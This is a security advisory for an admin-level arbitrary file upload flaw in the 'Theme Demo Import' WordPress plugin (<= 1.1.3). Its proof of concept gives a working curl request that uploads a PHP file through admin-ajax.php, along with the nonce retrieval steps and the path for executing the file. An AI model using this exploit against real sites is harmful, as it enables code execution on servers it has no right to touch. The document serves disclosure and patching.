Theme Demo Import <= 1.1.3 – Admin+ Arbitrary File Upload | CVE 2026-13157

Description

The plugin does not validate the type of files uploaded during demo-content import (the WordPress file-type test is disabled), allowing high-privilege users (Administrator by default, including non-super-admin site administrators on multisite) to upload executable PHP files to the uploads directory.

Proof of Concept

```text
### Setup & Requirements
- Target: WordPress site with the "Theme Demo Import" (<= 1.1.3) plugin active.
- Access level: Authenticated as Administrator (or any role with 'import' capability).
- Retrieve the AJAX security nonce `tdi-ajax-verification` (exposed as the JavaScript variable `tdi.ajax_nonce` on the plugin settings page `wp-admin/themes.php?page=theme-demo-import`).

### Reproduction Steps

1. Log in to the WordPress admin panel.
2. Visit the plugin setting page: `http://<TARGET_HOST>/wp-admin/themes.php?page=theme-demo-import`.
3. Locate the AJAX security nonce from the page source or javascript object (`tdi.ajax_nonce`).
4. Execute the following cURL request using your authenticated administrator session cookies, the retrieved nonce, and a dummy PHP payload:

```bash
curl -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxx=xxxx" \
  -F "action=TDI_import_demo_data" \
  -F "security=<NONCE_VALUE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
```

*Note: Create a local file named `exploit_webshell.php` with the following content before running the command:*
```php
<?php echo "EXPLOITED: Arbitrary File Upload is Real!"; ?>
```

5. The plugin will execute the upload and return a JSON response containing the file path or log write status.
6. The uploaded PHP file will be located at:
`http://<TARGET_HOST>/wp-content/uploads/<YEAR>/<MONTH>/exploit_webshell.php` and can be visited directly to execute the code.
```